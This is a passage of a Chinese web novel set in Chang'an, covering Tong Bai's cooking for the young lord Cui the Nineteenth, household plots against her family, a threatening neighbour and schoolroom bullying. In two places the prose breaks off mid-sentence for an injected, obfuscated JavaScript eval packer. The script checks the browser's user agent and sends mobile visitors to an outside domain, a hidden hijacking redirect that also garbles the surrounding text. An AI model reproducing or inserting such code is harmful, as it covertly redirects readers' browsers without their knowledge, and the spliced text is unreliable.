张勇不等吩咐,已示意候在门外的小厮上前,用温着的食盒将红焖羊肉、嫩滑的鸡子羹、清透的上汤白菜心以及那碟金光闪闪的蜜炙甜饼仔细装好。 崔老朝厨房门口走了几步,沉稳的步伐透出几分不易察觉的急切。 “童小娘子也一同前来吧。”崔老行至门口,忽又停步,回头对童白道了一句。 童白心下一紧,随即应道:“是。”她深吸一口气,理了理微皱的衣襟,跟在一行人身后,走向暖阁。 暖阁内,炭盆烧得正暖,松针与书卷的冷香依旧。崔十九郎斜倚在软榻上,指尖闲闲地敲着书卷,见众人进来,懒懒抬眸。 小厮揭开食盒,将散发着食物香味和温热气息的菜摆在八仙桌上,顺带摆上的还有几份餐具。 崔十九郎的目光掠过那几道菜,最终落在那一碗光滑如镜、嫩黄诱人的鸡子羹上,很快,抬起眼帘,朝一旁的童白看去。 她蜡黄色的脸上有不安、有期待,更有如何都遮掩不住的紧张,却无一丝算计。 他眉梢几不可察地动了一下。 “崔老,尝尝。”语气随意,却自带威仪。 崔老躬身,先向那碟蜜炙甜饼伸箸。“此饼火候恰到好处,蜜浆薄而透,焦香衬麦甜。”他评价克制,却接连吃了两块。 接着,他舀了一勺鸡子羹。羹匙轻松滑入,触感细腻如缎,竟无一丝孔洞。送入口中,那极致的嫩滑几乎无需咀嚼,纯粹而温润。他眼中闪过一丝真正的讶异,缓缓点头:“鸡子羹…能做到如此境地,心思和手上功夫都极巧。” 最后,他转向主菜红焖羊肉。银箸轻轻一夹,羊肉便如化开般分离。送入口中,他咀嚼的动作很慢,细细品味。肉质酥烂无比,毫不费牙,浓郁的咸鲜酱香中裹着一丝难以言喻的甘醇果韵,彻底化解了羊肉的膻腻,只留满口丰腴与回味。 崔老放下银箸,沉吟片刻,看向十九爷,声音里多了几分郑重:“爷,此羊肉炖煮火候已入化境,酥烂而不散形,去膻彻底,入味十分。尤难得的是,这酱汁风味层次独特,甘酸衬肉香,竟有画龙点睛之妙。童小娘子厨艺,确有些巧思。” 崔十九郎听着,唇角那抹惯有的玩味笑意加深了几分,眼神却深邃难辨。他并未急于品尝,目光反而扫向垂手恭立一旁的童白。 就见对方微微上翘的杏眼中少了几分茫然,多了些自信。这是听到崔老对菜品的肯定后的改变。 “张勇。” “属下在。” “你也尝尝这饼。”十九爷用扇尖点了点那碟蜜炙甜饼,语气慵懒却不容置疑,“看看比起你往日从童家提回来的,滋味可有长进?” 张勇身形微顿,立刻应道:“是。”他上前一步,依言取了一块饼,谨慎地尝了一口。 甜香瞬间在口中蔓延,饼身酥脆,内里软韧。 张勇迅速咽下,垂首道:“回爷的话,饼极好。比以往的更香更脆,蜜味也更醇些。” 他心下明了:爷此举,绝非品饼那么简单,更是将他与童家那点“私交”轻轻巧巧地摊开在了明面上,是一种无声的警示,亦是一种默许的联结。 童白看到这一幕,不由对十九爷肃然起敬。这小郎君年岁不大,行事说话却如混迹权贵场多年的老手。 十九爷轻笑一声,舀了小碗鸡子羹慢条斯理地吃起来,举止优雅,面上看不出丝毫情绪。直到一小碗羹见底,他才放下羹匙,接过侍从递上的清茶漱了漱口。 暖阁内一片寂静,所有目光都投向他,等待最终的裁决。 良久,他目光转向童白,“尚可。” 仅仅两个字,却让童白高悬的心猛地落回实处,甚至涌起一股难以言喻的激动。 她感觉十九爷爷口中“尚可”已是极高的评价。 崔十九郎此刻的内心并不似面上的平静。 这碗鸡子羹,让他尝出了记忆中的味道,隐在袖中的手不由紧握,心下泛起一丝茫然。 也不知道为何,这位童小娘子做的吃食,总是莫名契合他的口味。 无论是寻常蒸饼、甜腻的糕点,还是眼前这碗鸡子羹。 他沉默片刻,脑中思绪翻涌,室内一时安静。童白原本因崔老和张勇肯定而雀跃的心情,又一点点沉下去。 “往后每隔五日,你来此一次。”崔十九郎语速缓慢,似在边说边思量,“至于每次来做什么吃食……届时再说。张勇会安排接送。” “是!谢十九爷!谢崔老!”童白压下心中翻涌的情绪,深深福礼。 虽不是预想中的为宴席做甜点,但对于她来说,她终于为自己和家人,在这危机四伏的长安城中,争取到了一丝微光,一道虽薄弱却真实的屏障。 崔十九郎挥了挥手,示意他们退下。 童白跟着张勇和崔老退出暖阁,廊下清冷的空气涌入肺腑,让她激荡的心绪稍稍平复。崔老在分岔路口停步,看向童白,目光比之初见时缓和了许多:“今日便到此为止。回去好生歇息,五日后辰时(早上七点到九点间)来,莫要迟了。” “奴谨记崔老教诲。”童白恭敬应答。 张勇引着她向外走去:“小娘子,我送你回去。”既然十九爷已默认他与童家的关系,他便将这关系摆到明处来。 踏上归途的马车,童白靠着车壁,疲惫如潮水般涌来,但心底却有一股暖流悄然涌动。她掀开车帘一角,望着窗外流逝的街景,长安城的暮色似乎也不再那么冰冷沉重。 然而,她并未看见,在她离开后,暖阁内的崔十九郎把玩着手中的茶盏,淡淡道:“查一查,她那手用酸果解腻软肉的法子,是何处习得。还有那童寄,在浅水原,究竟做了何事……又惹了谁。” “是。”空气中传来一道低沉的声音。 崔十九郎举起银箸,端起碗来,慢慢将桌上菜肴送入嘴中。 全然不似平日里对吃食兴致缺缺的模样。 * 张勇驾着的马车才进到双梧巷,巷口吴家的院门应声打开,卢婶子探出头来,却只见到马车的背影渐渐远去。 她默默地注视着马车停在了巷子的最东头,在车停稳前,她将院门关上,回到了院中。吴三娘见到她的动作,默默地回了里屋,果不出然,她娘很快也进来了,拉着她又开始絮叨起来:“我不管你明日找个什么理由,哪怕是上门白干活都行,必须跟童小娘子搭上话来。” 眼见着童家小娘子凭借着手艺越发得了贵人们的青眼,卢娘子越发升起了想要让女儿靠上的心思,甚至于,她还想过要不要跟童家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16436323|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说亲事,自家大儿子也是二十来岁的大小伙了,前些年是被前朝耽搁了,新朝初立后,他爹说,儿郎需先建功再成家,这才跟着一同奔赴战场,也不知道现在如何了。 叹了口气,卢婶子瞧见一旁的三娘许久,最后嘴里嘟囔着什么,去了灶屋。 她没继续唠叨此事,也让吴三娘轻舒了一口气,她倒是不抗拒跟童小娘子接触,就是面皮有点薄而已。 巷口的吴家如此,巷中的谢家宅子里的胡商也很热闹,趴在门上观察许久的汉子,回到堂屋,压着声音将适才看到的情形说了,韦德坐在上首的位置,手上把玩着一个镶满宝石的手环,用家乡话道:“没想到这小巷里的住户如此的有意思。” 哈维抬手抹了把额上并不存在的汗水,赧然道:“少爷这话说的,哈维汗颜啊,本是冲着寻个并不起眼的小巷租的这里,哪知这里面还藏着两个这般不一样的人家。” 一家说的是童家,另一家说的是童家对门的陈家。而巷口的吴家,他租房的时候便知道了,校尉的官职在这长安城内算不上什么。 原本以为巷尾的童家也只是个寻常人家,但谁能想,童家的靠山是延寿坊的崔将军家,要说前朝,延寿坊崔家只能算是崔姓家族的一支,但现在…… 哈维:“少爷,陈家一直在窥视童家之事,你看咱要不要跟童家知会一声?” 韦德摇头,“说什么说,现在两家究竟是什么个路数咱们还没摸透,保持跟童家现在这样的交往即可,”他们是来长安城卖货的,能搭上新的卖货渠道固然是好,就算搭不上,暂时他们也不愁卖,“大觉寺的主持答应在三月三让咱们在大觉寺内设摊没?” 哈维点头,“答应了。” 韦德颔首,低着头看着手上的黄金手环,许久未言语。 哈维朝候在一旁的汉子点了点下巴,那汉子悄然出了房间,随手将房门关上,只留韦德少爷和哈维在这暗暗的房间内。 许久,韦德的声音在房间内悠悠响起:“哈维,咱们这趟,以稳为主。跟权贵搭上固然是好事,但是别忘了,权贵们的心思可不是随便就能参透的。” 哈维心下一凛,躬身应下,想着不远千里的家乡,自家老爷面临的困境,更是深以为然。 “是,谢少爷点明!” 俩人的相处,不难看出主仆差异来,这跟俩人平时在外的形象却是一点也不一样。 听到巷子里响起马蹄声时,童家二郎便跑到院子里,贴着耳在院门上,完全不顾木门的冰冷。 等到马车停在院门口,童家院门内传来二郎稚嫩的童声,“是阿姊回来了吗?”尾音发颤。 童白一把掀开车帘,急忙应声,“是我,二郎,阿姊回来了。” 随着她声音落下的是二郎拨弄门闩的动静、三娘的欢呼、白氏匆忙的脚步声,甚至于她耳尖地听到了四郎的哼唧声,童白唇角上翘,眼中浮现出由内而外的喜意。 注视着这一幕的张勇,记下来童白的反应,准备回去后定要跟崔老说个明白,这童家小娘子虽行事与之前他们打听来的不一样,但对童家的维护和感情却是真,要说性情大变? 张勇眼神微暗,那只能是因为市井所传童大哥牺牲的消息导致。 爹战死,娘病重,谁好人遇到这事,能不性情大变一番?! 张勇视线隐晦地扫视了对面陈家院门一瞬,张勇利落地跃下车辕,目光如电,扫向巷子中段那扇紧闭的陈家院门。夜色中,那门扉似乎纹丝未动,却无端透出一股令人不适的窥伺感。 55. 陈大河的挑衅 “童小娘子,”张勇声音不高,却足够让邻近几家隐约听见。他刻意提高了些许声调,“五日后辰时,属下准时来接您。十九爷既开了口,您这边若有任何琐碎烦难事,皆可直言。” 这话既是说给童白听,更是说给黑暗中竖起的耳朵听。 童白心下明了,深吸一口清冷的空气,应道:“奴晓得了,奴定会在家等着。”一双杏眼在越发昏暗的天光中显得异常明亮。 二郎略带崇拜的目光落在童白身上。 听这话语,阿姊这趟去往的目的,想来是办成了,阿姊真厉害! 白氏眼中浮现欣喜的泪光,终于,家里又有了依靠,她怀中的四郎,兴奋地拍着手,嘴里咿咿呀呀说着婴孩特有的言语…… 三娘搂抱着童白双腿的手越发用力,小脸喜滋滋的。 童白笑着揉了揉妹妹的头发,抬头对张勇道:“军士回去路上当心。” 张勇抱拳一礼,目光再次若有深意地掠过陈家方向,这才翻身上马,驾车离去。 童家院门合上,隔绝了外界。但童白知道,有些东西,是门关不住的。 夜色渐浓,双梧巷内各家各户相继进入梦乡,东南角的陈家,陈大河一脸阴狠的隐在黑暗中,呼吸渐渐变得越发沉重。 * 延寿坊,崔府下人院中。 文奶娘所在的厢房里点着一盏昏黄的油灯,将她阴沉的脸色映照得晦暗不明。她对面坐着的玉娘正一脸愤恨地用手绞着帕子,细棉布的经纬线被她的力道扯得稀疏、错位。 “姨母,这事难道就这么算了吗?”玉娘的声音尖厉,带着不甘与怨毒,“那贱婢非但没有被治罪,得了十九爷的维护,还让姨母被夫人数落,这口气我如何都咽不下去!” 文奶娘冷冷地瞥了她一眼,“咽不下去也得咽,如今十九爷明着护她,你欲想做何都不要继续做了,省得得罪了十九爷……” 她话音还没说完,玉娘着急问道:“姨母,夫人为何要给那庶出家的一个失宠的爷这般面子?我以为夫人……”说着,瞧了眼文奶娘,才讷讷道:“我听人说,夫人实则不喜那……” “慎言!”文奶娘低声呵斥,“夫人的心思可是你一个仆妇能揣测的?”眼中全是厉色,她这外甥女是个蠢的,当初在绣房时,有夫人撑腰,她都没斗过那没甚根基的白霜娘,现在又仗着自己,说话没把门。 玉娘被姨母的模样吓到,右手重重地往嘴巴打去,“啪”的一声,很快,嘴唇红肿起来。 “瞧我这嘴,再也不敢了,姨母,别生气,气坏了身子不划算。”心里怎么想不重要,重要的是,千万不能被姨母舍弃,因此,玉娘打自己的力度一点都没收着。 这么些年在姨母身边身边,她自然是知道姨母喜欢什么不喜欢什么。 果然,文奶娘脸色稍缓,“府上郎君的心性,你又不是不知,你以为十九爷护那谁是为何?真是只为那一点点上不得门面的巧思,呵呵……”接下来的话语她并没有说下去。 她进来崔府这么些年,跟在夫人身边也算是见识到了这些权贵人家私底下的脸面。其实就跟村子里的农家没有什么区别,只不过,争来争去的不是那口粮,而是银钱和权贵罢了。 那童家小娘子的厨艺她尝过,虽然比起一般的人做的好吃点,但在吃惯了珍贵吃食的权贵人家面前,她那点巧思根本上不了台面。 玉娘顺着文奶娘的话语往下说,“她一个从未在后厨学过的小丫头,能有何巧思……我就觉得是从她娘那习得了什么勾爷们的招式,”想着童白那不甚好看的脸模子和未长开的身段,感觉这话说得又有些亏心,撇嘴道:“也就……让爷们图个新鲜而已。” “你既知道,何需在此着急,”文奶娘斜眼睨她一眼,心下对这外甥女的不稳重甚是看不上,“还勾爷们的招式?呵呵,你真当那十九爷是眼皮子浅的?” 若真是个眼皮子浅,随便一个丫鬟就能勾搭了上,也不会让夫人如此头疼了。 见玉娘一脸茫然,文奶娘重重叹了一口气,掰开了揉碎了道:“童家的荣辱如何会寄托在贱婢身上,也是她那瘟神爹还在世罢了。”说到最后一句话时,几乎是咬牙切齿。 这童寄,一个爹不喜娘不要的破落户,自卖自身进了崔府,没想到却是得了崔将军的青眼,越混越好,现在还脱籍离了府。 不过,照她看来,这个时候出府,根本就是自找苦吃,新朝建立,谁也不知道后续会怎样,要是跟前朝一样,没个几年就…… 哼,她倒要看看童家那一家子怎么活下来。 玉娘一听这话,浑身的气焰立马消停下来,“姨母,那霉稻谷之事,真不怪我,我找了人,也给了银钱,但谁能知道那贱婢命大的很……”上回姨母让她去办事,却没成想那童家人却是好运气的活了下来了,“是不是让表弟那,难办了?” 文奶娘眉梢一抬,对玉娘的话语没任何回应。但心中难免感慨童家的好运,别说霉稻谷没要了贱婢一家的命,就那童寄阵亡的消息也没能击垮白氏她们的心。 昏暗的光线映照这俩人越发阴沉的脸庞,室内突然陷入一阵沉默。 片刻后,文奶娘取下头上金银缠丝发簪,用尾端挑了挑油灯芯,不紧不慢问:“贺大山的伤如何了?” 玉娘不知道为何姨母会突然问起,答道:“用了药,能下地了,只是那差事……是丢了。”贺大山如何她一点也不关心,只是那差事丢了,她着实心疼。采买可是个好活计! “差事丢了不打紧,人有用就行。”文奶娘语气平淡,“你让他家的许氏这几日回趟娘家,通过许小旗的嘴逼一逼那陈大河。”许氏当初嫁给贺大山时,贺大山尚未进府,后来外面的日子实在是太难过了,贺大山和许氏便一同卖来了崔府,在文奶娘的运作下,夫妇俩都在崔家安生下来。 玉娘有些疑惑:“陈大河?那瘪三能做什么?”许家是靠着贺家起来的,那陈大河的妹妹搭上了许小旗,玉娘对那边陈家一直不怎么看得上。 “蠢!”文奶娘低声斥道,“童家现在得了十九爷的青眼,我们不好直接动手,还不能借刀杀人吗?陈大河那种无赖,最是见不得旁人好,稍加挑拨,就是一把现成的刀。就算闹出什么事,也是市井无赖寻衅,与咱们、与崔府有何干系?” 玉娘恍然大悟,脸上露出狠毒的笑意:“还是姨母想得周到!我明日就去寻大山媳妇‘说道说道’。” “机灵 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陈大河嘿嘿一笑:“听说童小娘子昨日又得了贵人赏脸?真是出息了!咱们对门住着,也沾沾光?” 童白语气平静:“贵人慈悲,赏口饭吃罢了,不敢说沾光。” 陈大河声音陡然阴冷:“童校尉他……唉,我也是替你们操心,孤儿寡母的,若有什么难处,尽管开口。” 童白扬声道:“陈叔好意心领了。家父为国效力,朝廷自有抚恤。我们一家行得正坐得直,不惹事,也不怕事。” 门外静了一瞬,随即传来陈大河一声冷笑:“既如此,那我便不打扰了。只是童小娘子……往后日子还长,咱们‘邻居’之间,有的是机会‘亲近’。”离去前,还凑到了门板前,用他吓人的眼神从门缝里深深瞧了门后的童白一眼。 童白微眯着眼,一脸狠厉地回望陈大河,对他完全不遮掩的恶意,心中想了许多。 直到脚步声渐远,童白才舒出一口气,背靠门板,眼神带着些许慌乱,额前的碎发遮住了眼帘,她伸出手来捋开,才发现掌心沁出了冷汗,顺手被她擦在裙摆之上。 稳了稳心神,她走到墙角处,一言不发地拎起角落那把沉甸甸的斧头,走到磨石边蹲下。舀起一瓢冷水,“哗”地浇在青黑色的磨石上。双手握紧斧柄,“唰……唰……”,磨砺声在寂静的院子里响起,冰冷而坚定。 白氏与二郎站在灶屋门口,看着童白绷紧的侧影,心下也是一阵慌乱。 谁能想到,家里的日子还未真正好起来,对门的人家却又盯上了自家,一时间,不免觉得心灰意冷。 或许是磨刀霍霍给了童白一股子说不上来的勇气,她抬起脸,看向白氏和二郎,“阿娘,没事。豺狼露了牙,总比藏在暗处强。咱们行得正,但也不能任人宰割。”话语中的安抚,十分明显,但想着这时候,安抚也需要实质性的,她拍了拍斧头,“咱们有防身的家伙,不要怕。” 但她细瘦的胳膊拎着比她胳膊都要粗的斧头在磨刀石上的这一幕,可是完全没有说服力。 甚至于,白氏和二郎的惊吓大于安抚。 童白低下头,默默的继续着手上的动作。 56. 学堂霸凌 又过一日,午后阳光暖融,童白正在院中小心翻晒酱缸,空气里弥漫着豆酱醇厚的气息。巷子里忽然传来一阵喧哗声和马蹄声,隐约夹杂着呼喝声:“朝廷恩典……核查军属……抚恤有功……” 童白动作一顿,心猛地悬起。她快步贴到门边,屏息细听,那几个关键词像锤子砸在心上。 未时刚过,童家院门被轻轻叩响。是卢娘子领着吴三娘上门来了,手里端着针线篓,几人坐在院中,晒太阳做针线,卢娘子手上动作不断,却不妨碍她压低声音:“童家弟妹,听说了吗?今日午后朝廷派人来坊里了,说要核实军属情况,要厚赏抚恤有功将士的家眷哩!” 白氏手中正纳的鞋底猛地一顿,针尖险些扎进指腹。她一把抓住童白的手,眼中骤然迸发出近乎癫狂的光彩,“大娘子,你听见了吗?朝廷来人了!是你爹……你爹要回来了!”她语无伦次,泪如雨下,仿佛半年的绝望都在这一刻找到了出口。 童白却如坠冰窟,强笑着点头,心中已是一片惊涛。 若童寄真归来,她这鸠占鹊巢的孤魂,该如何自处?原主记忆中那眼神锐利、重情重义的童爹,会如何看待这个占据女儿躯壳的“妖物”?是逐出家门,还是……她不敢再想,只觉一股寒意从脚底窜上脊梁。 巨大的危机感攫住了她,她垂眸掩饰眼中翻涌的情绪,无意识地绞紧了衣角,连呼吸都滞涩起来。 卢婶子眼见白氏这般激动,想起前阵子坊间传得沸沸扬扬的“童校尉阵亡”的消息,一时语塞。忙岔开话题,转向童白笑道:“童小娘子,你如今接了贵人的活计是好事。若是不接大席面的时候,可还愿意接蒸饼的活?我娘家嫂子又托人问了好几回,我都不知怎么回话了。” 一旁的吴三娘脸颊微红,细声细气地帮腔:“童小娘子做的蒸饼……很好吃,我舅家的小子小娘都夸呢,说比西市铺子里的还喧软。”她说得磕绊,说完便恨不得将头埋进针线篓里。 她往日并不是这般害羞之人,童小娘子做的蒸饼也是真好吃,但架不住她娘老让她跟童小娘子搭上话,这一句大实话说出来,却怎么都觉得别扭。 不过,她这般反应,倒是引得关注点在她身上,童白那一点不自在因而被众人忽略。 童白贝齿咬住舌尖勉强定神,温言回道:“三娘子喜欢就好,下回做了蒸饼,我送些给你尝尝。” 吴三娘慌忙摆手:“我不是来讨吃的……只是、只是真心觉得童小娘子手艺好。” 正在一旁玩土的三娘抬起头,小脸天真:“吴三姐姐,我阿姊做的饼,可香哩!馋得我做梦都流口水呢!” 童白笑着揉了揉妹妹的头发,院中气氛一时缓和些许。然而,所有人都心照不宣地避开了那个最敏感的话题——童寄的生死归期。 唯有对门陈家,院门虚掩着一条缝。陈大河像条阴冷的毒蛇倚在门框后,眼神鸷狠地盯着童家院门,将方才卢婶子的话听去大半。他嘴角扯出一抹狞笑,转身悄无声息地消失在昏暗的屋内。许小旗昨夜传来的消息和催促,让他蛰伏的杀心再度躁动起来。 * 朱雀门下,宫内学堂 今日的学堂气氛诡异。讲台上空无一人,本该书声琅琅的时辰,却只有二十几名身着锦缎华服的少年郎三三两两聚在一处。空气中弥漫着一种躁动不安的气息。 “崔十九,你这《左传》注疏抄得倒是工整,只可惜……”一名身着紫绮袍、眉眼骄纵的少年,“啪”地一声将一卷竹简摔在面前的书案上,声音刻意拔高,引得众人侧目,“唐夫子考的‘庄公十年’典故,你竟连一个字都答不上来!真是白费了崔将军一番举荐之心!” 他身后几名跟班立刻发出一阵哄笑,满是嘲弄。 而被他们一群人嘲笑的少年崔十九郎,虽出身山东崔氏一族,但父亲却是旁系庶子,家里祖父去世后,父亲全靠着崔氏族人的帮扶,才没被这长安城湮没。 “萧郎君所言极是!”旁边有人帮腔,“也不知道这种身份和水平的人是怎么混进来这学堂的。” 被围在中间的崔十九郎,依旧垂着眼帘,纤长的睫毛在白皙的脸上投下淡淡的阴影,遮住了所有情绪。他身形单薄,身着月白棉布长衫,在这群锦绣堆里的少年中显得格格不入。他这种沉默的、近乎麻木的反应,反而更激起了萧五郎的怒火。 他一掌扫向那竹简,力道过大,连接竹简的绳索被崩断,几根竹简飞向了崔十九,崔十九就跟木头一样,一动不动,白皙的脸上被竹简块抽了个正着,瞬间变得绯红。 但这样,反倒是衬得他面容喋丽了几分,他这般,那群少年笑得更大声,“这崔十九,不仅脑子不好,就连身手也不咋样,要不怎么躲不开……” 崔十九眼睫微动,视线扫过萧五郎一众,又回视前方,眼神无波。 萧五郎猛地俯身,一把揪住崔十九郎的衣襟,用力将他从座位上提了起来,恶声道:“一个罪臣之女所出的庶子,也不知使了什么手段,混进这学堂来滥竽充数!若是个惊才绝艳的也就罢了,偏生是个榆木疙瘩!真是丢尽了崔氏的脸面!” 崔十九郎身体僵直,任由他如同提线木偶般摆布,垂眸不语,袖中指尖却已掐入掌心。 萧五郎之父是兵部侍郎,祖父更是户部尚书,如今圣眷正浓。他若此时反击,不仅自毁前程,更会连累岭南外祖一家。 这口气,他必须咽下。 但今日之辱,他日必以血偿。 萧五郎见他仍不反抗,另一只手竟轻佻地捏住他的下巴,强迫他抬起脸来,啧啧道:“别说,这张脸倒是生得标致,想必是随了你那姨娘?难怪能迷惑……” 这一群少年也都是十五六岁往上的年纪,大多数权贵人家,主母们在他们这个年纪都在房内安排了知晓人事的丫鬟。 萧五郎这话一出惹得一旁的少年郎发出一阵意味不明的笑声。也正是这个时候,一名在角落的学子趁着不注意往外走,这是王六郎。 原本作为小吏之子的他是没有资格来这个大多是四品官员家中子弟的学堂来求学,但他爹搭上了一个四品官员,那位官员家正巧也没有适龄的儿郎,便以王六郎是自家干子侄的身份,送了进来。 进来后王六郎才知道,这学堂的水可比外人想象中的要浑浊。 目前受宠的世家子弟天然形成了一个联盟,而类似他和崔十九郎这样的没有家世作为吃撑的“寒门”子弟,便是这些世家子弟打击和戏弄的对象。 平日还算好,有夫子们在,学堂规矩,学堂内不许有随侍们在,也就是些言语挑衅,今日才上课,夫子便被圣上身边的天使请入了宫,整个学堂犹如没有镇山的老虎存在,一下子乱了套。 “王六郎,你要去哪儿?” 一个高壮的男子站在王六郎面前,王六郎猛地停下脚步,惯性大的差点撞上对面之人,他惊恐地抬起脸,与对面之人恶狠狠的眼神对了个正着,“王六郎,你要去哪儿?”对方抱着臂,狞笑着挡住去路。 王六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471533|178855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎结巴道:“尿,尿急,出,出,出恭……”这名学子姓郑名林,父亲是户部的,算是萧五郎的跟班。 学堂内的空气仿佛凝固了。崔十九郎垂下眼帘,将翻涌的杀意死死锁在心底。 他知道,此刻的隐忍,是为了岭南外祖一家,也是为了将来能将这些践踏他的人,连同他们背后的家族,一同碾碎。 话虽如此,但戾气萦绕在心间,越发浓郁。 “嘿!王六郎,你看看……”萧五郎捏住崔十九郎的下巴往上用力一抬,“你这么帮他,他就跟个没种的玩意儿一般……” 王六郎眼神快速地往崔十九郎那边瞧上一眼,嘴里讷讷道:“我只是尿急……”随着他的话语,双腿不自觉地夹起,就好像他真的只是尿急一般。 一群围观的郎君们哄然大笑,就好像看到什么好玩的场面一般。学堂里余下的不愿助纣为虐的,又明哲保身的郎君,默默退到角落,一副眼不见为净的模样。 就在这时,门外传来一道尖细的声音响起:“李学政日安。” 随着这道声音而来的是另一道温雅又熟悉的声音:“洪公公日安,不知公公这会儿前来学堂,可是圣上有何指示?” 再后续,学堂内的学子们都听不到那边的声音,学堂里的众人根本不用招呼,赶忙坐回座位上,唯有王六郎坐下后匆匆往崔十九郎这边一瞥,咬了咬牙,起身往学堂外冲,那模样,就跟尿急是一模一样。 萧五郎几人对视一眼,萧五郎朝郑林使了个眼色,示意他跟着出去瞧一瞧,郑林站起身来,迈开腿前,听到外面有了动静。 “你这是去哪儿啊?” “学生去,去出恭。” “唔,去吧,下回课间过去。” 很快,脚步声在学堂外响起,郑林也立马坐下,等着外面的人一前一后的站在学堂前门处,就见整个学堂里的学子,或看书或练字或凑在一起对着书本低声细语,似是在为什么书本上的疑惑而探讨。 好一幅认真学习的学生模样。 “学政大人厉害啊,咱家定要将学堂的情形告知圣上。” 李学政拱手行礼,朝里面喊道:“萧五郎,你出来一趟。” 萧五郎脊背一紧,眼中闪过一丝慌乱,心里打鼓,难道说适才欺负崔十九郎……想法才冒出了头,很快就压下去了,看见又如何,他镇定地起身,路过崔十九郎的书桌前还刻意撞了其一下,随即低头致歉。 崔十九郎眼帘下垂,算是回应了萧五郎。 萧五郎左嘴角微微上扬,很快又隐了下去,待到了李学政他们面前时,便是一副翩翩有礼少年郎的模样。 这时候的学堂鸦雀无声,待得王六郎从恭房回来,也没见萧五郎,学堂里响起低声讨论声。 但因着怕突然回来人,他们没再继续欺负崔十九郎,王六郎凑上前来跟崔十九郎说话,就好像在此之前的霸凌事件并未发生一般,崔十九郎嘴上应付着王六郎,心下却在思索着适才发生之事。 看那位洪公公的态度,应是好事多坏事少。而萧五郎看自己不顺眼许久,今日爆发出来,定然不止因学堂夫子不在的缘故。 再说,学堂无夫子前来授课,却没人来说一声,或者来人盯着学堂,是巧合还是故意为之? 上回崔老递过去消息后,萧家这段时日一直夹着尾巴做人,没想到这么快又…… 下巴上似乎残留着的红痕让崔十九郎眼中闪现一丝寒芒。 哼,萧家,他记住了! 57. 暗巷黑手 待得下学的钟声敲响,也未见萧五郎回来,崔十九郎起身收拾好书袋,同王六郎一同出了学堂,在朱雀门外一众马车中寻到了前来接他放学的马车,他与王六郎拱手行礼后,径直朝那边而去。 王六郎拱起的手慢慢收回,目视着崔十九郎的背影,心里全是崔十九郎分别前低声说的话语。 “六郎,往后,你最好与我保持距离,否则萧五郎及其爪牙必然不会放过你。” 王六郎很想说,他不要,但想着自己能来学堂上学还是父亲花了银钱求来的,他又犹豫了。正好这时候,耳边听到家里车夫唤他的声音,他甩了甩袖,朝自家马车那边走去。 坐上马车的崔十九郎,吩咐道:“速回。 随着马车行进而晃动的车帘,透过车帘照射进来的光线在崔十九郎稚嫩的脸庞明明暗暗。 此刻的崔十九郎,脑中思绪纷杂。 若是他没瞧错,前来找萧五郎的天使是圣上身边的洪公公,这位可是圣上面前的得力人,若是没有什么重要的事情,肯定不会轻易出宫。 找萧家这位小郎君又是为何事呢? 是朝堂之事还是别的? 在回到宅子的路上,他将这段时间的消息都分析了个遍,待得马车进了宅子,差人喊来崔老。 崔十九郎临窗而立,窗外残阳如血,映在他没什么表情的脸上,方才学堂中那刻意维持的麻木已褪去,只剩下眼底一片沉静的冰海。 崔老悄无声息地进来,将一杯刚煎好的、气味浓重的汤药放在他手边的矮几上。“爷,该用药了。”他的目光在崔十九郎下巴处已转为淡青的红痕一扫而过,眼神微沉,“可是学堂里,不太平?” 按理说,他们家十九爷完全不用去那学堂求学,毕竟去那的都是各家尚未领职的郎君,而他们家十九爷…… 崔十九郎没碰那药碗,只转过身来,淡淡道:“萧五郎今日格外躁动,像是得了什么依仗,迫不及待要跳出来咬人。”他指尖在窗棂上轻轻一点,“洪公公突然来学堂带走了他,你怎么看?” 崔老沉吟片刻,浑浊的老眼里精光闪烁:“老奴收到消息,圣上对这次征战陇西的战功封赏,这几日便有明旨。至于说,为何会安排洪公公来学堂接走萧五郎,老奴不敢妄加猜测。” 崔十九郎背着手,往前走了几步,目光晦暗不明。 崔老接着分析:“十五爷与萧家走得近,萧五郎今日之举,会不会是有人想借小辈的冲突,试探爷您的反应。” 崔十五爷是崔夫人与崔将军的嫡长子,比十九爷大了四岁,因着崔将军对十九爷颇为照顾而一直看十九爷不顺眼,他怀疑此事与朝堂无关,反倒是私怨。 “试探?”崔十九郎唇角勾起一抹极淡的冷笑,“让萧五郎在学堂对我各种挤兑,若说为试探,不若说是泄愤。” 崔老看向背光站立的少年,光线透过洞开的窗户撒进房内,却被崔十九郎高挑却瘦削的身躯挡住,室内的光线并不明亮。 崔老躬身垂首,未接话。 “与其扯上萧家,他还不若直接来找我。”谁说学堂不似朝堂,要他说,这因圣上旨意建起来的学堂,就是个小朝堂。“上回你给萧家设的绊子,首尾可干净?” “送去的罪证是匿名且偷放在御史大夫的书桌上,并未有别人瞧见,”崔老思索着提议:“可需安排人去……” 话还没说完,便被崔十九郎抬手打断,“无需,此时我们需要隐藏的更深。” 此言一出,书房内静了一瞬。 崔老清楚,在外人眼中,崔十九爷只是山东崔氏旁系庶子家的庶子,生母是前朝罪臣之女且早亡,若不是有延寿坊的崔家老夫人善心看顾几分,能不能顺利长成人都不好说。 最主要的是,十九爷的父亲是个靠着祖辈的闲散人,无官职更无职权,这才是萧家敢如此对待十九爷的根源所在。 “或者,趁着这次,从学堂退出来?” 